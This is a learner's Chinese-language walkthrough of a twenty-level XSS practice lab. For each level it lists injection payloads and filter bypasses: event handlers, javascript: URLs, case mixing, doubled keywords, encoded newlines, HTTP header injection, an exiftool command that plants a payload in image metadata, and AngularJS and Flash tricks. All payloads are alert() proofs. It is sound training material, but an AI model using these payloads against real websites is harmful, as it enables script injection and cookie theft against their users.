# 第一关
?name=<script>alert(1)</script> |
# 第二关
闭合前面的,就可以弹窗
?keyword=test"><script>alert(1)</script> | |
?keyword=test" onmouseover=alert(2) >click |
# 第三关
单引号,没有过滤,所以此处尝试 js 语句,' onmouseover=alert (2) 测试
'onmouseover=alert(2) >click | |
'onmouseover=alert(2)// |
这里很不明白,为啥不注释后面,也能弹窗。对第一个 payload 不是很理解
# 第四关
payload 不能出现 <> ,并且不被 htmlspecialchars () 函数影响
onfocus 事件:定义的事件将在对象获得焦点时触发,这里指 input 标签获得焦点。
autofocus 属性:input 标签的属性,当页面加载 input 标签,自动获得焦点。
"onfocus=alert(4) autofocus=" |
# 第五关
把 < script 转换为 < scr_ipt,on 转换成 o_n,这样就过滤了 js 事件,str=strtolowe**r (_GET [''keyword"]); 大小写绕过也会失效,不过这次没有过滤尖括号 ><。
这里用伪协议来构造 payload:
"><iframe src=javascript:alert(5)> | |
"><a href="javascript:alert(5)">click me!!!</a> | |
"><a href="javascript:%61lert(5)">click me !!!</a>// |
# 第六关
经过查看源代码发现过滤了很多的字符,其中 < script 转换成 < scr ipt,on 转换成 o_n,src 转换成 sr_c,data 转换成 da_ta,href 转换成 hr_ef,和上一关相比较这一关没有大小写的约束,于是可以变化大小写来绕过。
"> <SCRIpt>alert(6)</SCriPT> | |
"> <img Src=a ONerrOR=alert(6)>// | |
"> <a HrEf="javascript:alert(6)">click me!!!</a>// | |
"><svg x="" ONclick=alert(6)> | |
" ONclick=alert(6) // |
# 第七关
代码显示,script,on,src,data,href 都直接转换成空了,大小写也不能用了。所以尝试双写绕过。
"><scscriptript>alert(7)<sriscriptpt> | |
"oonnmouseover=alert(7)// | |
"><a hrhrefef=javascrscriptipt:alert(7)>CLICK ME !!!</a>// | |
"><a hrhrefef=javascript:alert`1`>CLICK ME !!!</a>// |
# 第八关
"script" 转换为 "scr_ipt"
"on" 转换为 "o_n"
"src" 转换为 "sr_c"
"data" 转换为 "da_ta"
"href" 转换为 "hr_ef"
" 转换为 & quot
大小写过滤并被编码
><,单引号,%,#,& 符号没有被过滤,输出点在 a 标签内,href 属性中,属性里的双引号被转换成 HTML 实体,无法截断属性,这里可以使用伪协议绕过 javascript:alert,由于 script 关键字被过滤,javascript 会被替换成 javasc_ript,使用 r 来代替 r, 伪协议后面可以使用 URL 编码进行编码。
javascript:alert(8) | |
javascript:%61lert(8) | |
javascript:%61lert`1` | |
javascript:alert`1` |
# 第九关
"script" 转换为 "scr_ipt"
"on" 转换为 "o_n"
"src" 转换为 "sr_c"
"data" 转换为 "da_ta"
"href" 转换为 "hr_ef"
" 转换为 & quot
和上一关差不多,不同的是多了自动检测 URL,如果发现没有带 http:// 内容则会显示为不合法。
javascript:alert (9)//http://a.com// 利用注释 | |
javascript:%0dhttp://a.com%0dalert (9) // 不利用注释 | |
javascript:%0ahttp://a.com%0dalert (9) // 不利用注释 |
# 第十关
从隐藏的输入框下手,构造 payload。
?t_sort="type="text" onclick="alert(10) |
# 第 11 关
分析代码,相比上一关,多了一个 str11=$_SERVER ['HTTP_REFERER']; 验证的是 http 头部的 xss 注入,使用 burp 抓包,修改相应的字段,构造 http 头部 referer 的 payload。
Referer:" onmouseover=alert(11) type="text" | |
Referer:" onclick="alert(11)" type="text |
# 第 12 关
构造头部 User-Agent 的 payload。
User-Agent:" onmouseover=alert(11) type="text" | |
User-Agent:" onclick="alert(11)" type="text |
# 第 13 关
构造头部 Cookie 的 payload。
Cookie:" onmouseover=alert(13) type="text" | |
Cookie:" onclick="alert(13)" type="text |
# 第 14 关
exif xss,一般利用于文件上传的地方,最经典的就是头像上传,上传一个图片,该图片的 exif 元数据被修改为 xss payload,成功利用弹窗
具体实现使用kali下的exiftool工具,命令如下: | |
exiftool -FIELD=XSS FILE | |
exiftool -Artist=' "><img src=1 onerror=alert(document.domain)>' brute.jpeg | |
windows操作系统 | |
鼠标右键进入属性页面 | |
双击照相机制造商,直接填写payload |
不足:
题目环境问题,这里没有进行复现,下次一定
# 第 15 关
这一关是关于 angular js 的知识,ng-include 有包含文件的意思,也就是相当于 php 里面的 include,此处可以包含第一关的页面。
level15.php?src='level1.php?name=<img src=x onerror=alert(1)>' |
# 第 16 关
查看代码发现大小写绕过失效,script、/、, 等都被转换成 & nbsp,这时,可以尝试使用 %0a,%0d 来进行绕过。
Keyword=<img%0dsrc=a%0donerror=alert(16)> | |
Keyword=<iframe%0dsrc=0%0donmouseover=alert`16`></iframe> | |
Keyword=<svg%0aonload=alert`16`></svg> |
# 第 17 关
不能出现 <> " ,用下面绕过
arg01=a&arg02=%20onmouseover=alert`1` |
# 第 18 关
不能出现 <> " ,用下面绕过
arg01=a&arg02=%20onmouseover=alert`1` |
# 第 19 关
插件不受支持,不知道如何测试了
level19.php?arg01=version&arg02=<a%20href="javascript:alert(1)">111111</a> |
# 第 20 关
插件不受支持,不知道如何测试了
level20.php?arg01=a&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//%26width%26height
# 不足之处:
1.19 与 20 关的 flash xss 不是很明白
2. 不同绕过思路,没办法熟练使用
3. 对各种 xss payload 认识,不上很清晰